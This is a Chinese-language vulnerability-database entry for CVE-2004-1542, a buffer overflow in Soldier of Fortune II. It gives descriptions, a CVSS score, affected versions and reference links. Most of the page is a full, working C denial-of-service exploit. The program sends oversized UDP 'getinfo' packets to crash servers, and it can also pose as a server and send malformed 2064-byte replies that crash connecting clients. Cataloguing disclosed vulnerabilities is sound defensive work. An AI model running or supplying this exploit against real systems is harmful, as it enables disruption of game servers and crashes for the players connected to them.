CVE-2004-1542
CVSS5.0
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 22:56:07
NMCOE    

[原文]Buffer overflow in Soldier of Fortune II 1.03 Gold and earlier allows remote attackers to cause a denial of service (server or client crash) via a long (1) query or (2) reply.


[CNNVD]Soldier of Fortune II广播处理内存破坏漏洞(CNNVD-200412-581)

        
        Soldier of Fortune II是一款流行的FPS游戏程序。
        Soldier of Fortune II处理超大合法查询或者应答通信时存在问题,远程攻击者可以利用这个漏洞对服务程序或客户端进行拒绝服务攻击。
        问题是当处理超大的合法查询或应答时sprintf()会发生溢出,服务器会马上中断比赛,而使客户端崩溃,目前调查不能用于执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:raven_software:soldier_of_fortune:2.1.0.2
cpe:/a:raven_software:soldier_of_fortune:2.1.0.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1542
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1542
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-581
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=110124208811327&w=2
(UNKNOWN)  BUGTRAQ  20041123 Broadcast memory corruption in Soldier of Fortune II 1.03
http://www.securityfocus.com/bid/11735
(UNKNOWN)  BID  11735
http://xforce.iss.net/xforce/xfdb/18211
(UNKNOWN)  XF  soldier-fortune-bo(18211)

- 漏洞信息

Soldier of Fortune II广播处理内存破坏漏洞
中危 边界条件错误
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        Soldier of Fortune II是一款流行的FPS游戏程序。
        Soldier of Fortune II处理超大合法查询或者应答通信时存在问题,远程攻击者可以利用这个漏洞对服务程序或客户端进行拒绝服务攻击。
        问题是当处理超大的合法查询或应答时sprintf()会发生溢出,服务器会马上中断比赛,而使客户端崩溃,目前调查不能用于执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Raven Software
        --------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://sof2.ravensoft.com

- 漏洞信息 (653)

Soldier of Fortune II <= 1.3 Server/Client Denial of Service Exploit (EDBID:653)
windows dos
2004-11-23 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    /*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        20100
#define TIMEOUT     3
#define CHR         'a'
#define CLBOOMSIZE  2064
#define INFO        "\xff\xff\xff\xff" "getstatus xxx\n"
#define SVBOF       "\xff\xff\xff\xff" "getinfo "
#define CLBOF       "\xff\xff\xff\xff" \
                    "%sResponse\n" \
                    "\\sv_allowDownload\\0" \
                    "\\sv_allowAnonymous\\0" \
                    "\\punkbuster\\1" \
                    "\\needpass\\0" \
                    "\\pure\\0" \
                    "\\gametype\\elim" \
                    "\\sv_maxclients\\32" \
                    "\\clients\\16" \
                    "\\hostname\\noname" \
                    "\\protocol\\2004" \
                    "\\mapname\\mp_jor1" \
                    "\\"



void show_info(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int         sd,
                len,
                psz,
                on = 1,
                type,
                svboom = 0;
    u_short     port = PORT;
    u_char      buff[BUFFSZ + 1];
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("\n"
        "Soldier of Fortune II <= 1.3 server and client crash/stop "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <attack> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " c = broadcast clients crash (caused by a valid reply of %d bytes)\n"
            " s = server shutdown/crash, the effect depends by the amount of data you send.\n"
            "     The amount of data and the IP or hostname of the server must be specified\n"
            "     after the 's' in this format: sof2boom s SIZE SERVER [PORT]\n"
            "     Usually the values >= 1014 crash the server (only if Windows), while a\n"
            "     lower values (like 1000) stop the match, try yourself\n"
            "\n"
            "Usage examples:\n"
            "  sof2boom c                       listens on port %d for clients\n"
            "  sof2boom c 1234                  listens on port 1234\n"
            "  sof2boom s 1000 192.168.0.1      tests the server 192.168.0.1 on port %d\n"
            "  sof2boom s 1200 sof2server 1234  tests the server sof2server on port 1234\n"
            "\n", argv[0], port, CLBOOMSIZE, port, port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif    

    type = argv[1][0];

    if(type == 's') {
        if(argc < 4) {
            fputs("\n"
                "Error: you must specify the number of bytes to send and the server hostname.\n"
                "       Example: sof2boom s 1000 localhost\n"
                "\n", stdout);
            exit(1);
        }
        svboom = atoi(argv[2]);
        if(svboom > (BUFFSZ - sizeof(SVBOF))) {
            printf("\nError: use a value minor than %d\n\n", BUFFSZ - sizeof(SVBOF));
            exit(1);
        }

        peer.sin_addr.s_addr = resolv(argv[3]);
        if(argc > 4) port = atoi(argv[4]);
        printf("- target   %s:%hu\n",
            inet_ntoa(peer.sin_addr),
            port);

    } else if(type == 'c') {
        peer.sin_addr.s_addr = INADDR_ANY;
        psz                  = sizeof(peer);
        if(argc > 2) port = atoi(argv[2]);
        printf("- listen on port %d\n", port);

    } else {
        fputs("\n"
            "Error: Wrong type of chosen attack.\n"
            "       You can choose between 2 types of attacks, passive versus clients with\n"
            "       'c' or versus servers with 's'\n"
            "\n", stdout);
        exit(1);
    }

    peer.sin_port   = htons(port);
    peer.sin_family = AF_INET;

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(type == 's') {
        fputs("- request informationss\n", stdout);
        if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        if(timeout(sd) < 0) {
            fputs("\n"
                "Error: socket timeout, probably the server is not online or the port is wrong\n"
                "\n", stdout);
            exit(1);
        }
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
        buff[len] = 0x00;
        show_info(buff);

        memcpy(buff, SVBOF, sizeof(SVBOF) - 1);
        memset(buff + sizeof(SVBOF) - 1, CHR, svboom);
        len = sizeof(SVBOF) - 1 + svboom;

        printf("- send BOOM packet (%d bytes)\n", len);

        if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("- no reply received, it is probably crashed\n", stdout);
        } else {
            fputs("- received a reply, probably it is not vulnerable\n", stdout);
            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
            if(len < 0) std_err();
        }

        fputs("- check server\n", stdout);
        if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
            if(len < 0) std_err();
            buff[len] = 0x00;
            printf("\n"
                "Server doesn't seem to be vulnerable, the following is the reply received:\n"
                "\n"
                "%s\n"
                "\n", buff);
        }

    } else {
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        fputs("  Clients:\n", stdout);
        for(;;) {
            len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
            if(len < 0) std_err();
            buff[len] = 0x00;

            printf("%16s:%hu -> %s\n",
                inet_ntoa(peer.sin_addr),
                ntohs(peer.sin_port),
                buff);

            if(!memcmp(buff + 4, "getinfo", 7)) {
                len = sprintf(buff, CLBOF, "info");
            } else {
                len = sprintf(buff, CLBOF, "status");
            }
            memset(buff + len, CHR, CLBOOMSIZE - len);
            if(sendto(sd, buff, CLBOOMSIZE, 0, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
        }
    }

    close(sd);
    return(0);
}



void show_info(u_char *data) {
    int     nt = 1;
    u_char  *p;

    while((p = strchr(data, '\\'))) {
        *p = 0x00;
        if(!nt) {
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%s\n", data);
            nt = 0;
        }
        data = p + 1;
    }
    printf("%s\n", data);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif




// milw0rm.com [2004-11-23]
		

- 漏洞信息

12113
Soldier of Fortune II Broadcast Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

Soldier of Fortune II contains a flaw that may allow a remote denial of service. The issue is triggered when an attacker sends a specially crafted packet to the server or a reply to a client causing a buffer overflow, and will result in loss of availability for the Soldier of Fortune II game.

- 时间线

2004-11-23 Unknow
2004-11-23 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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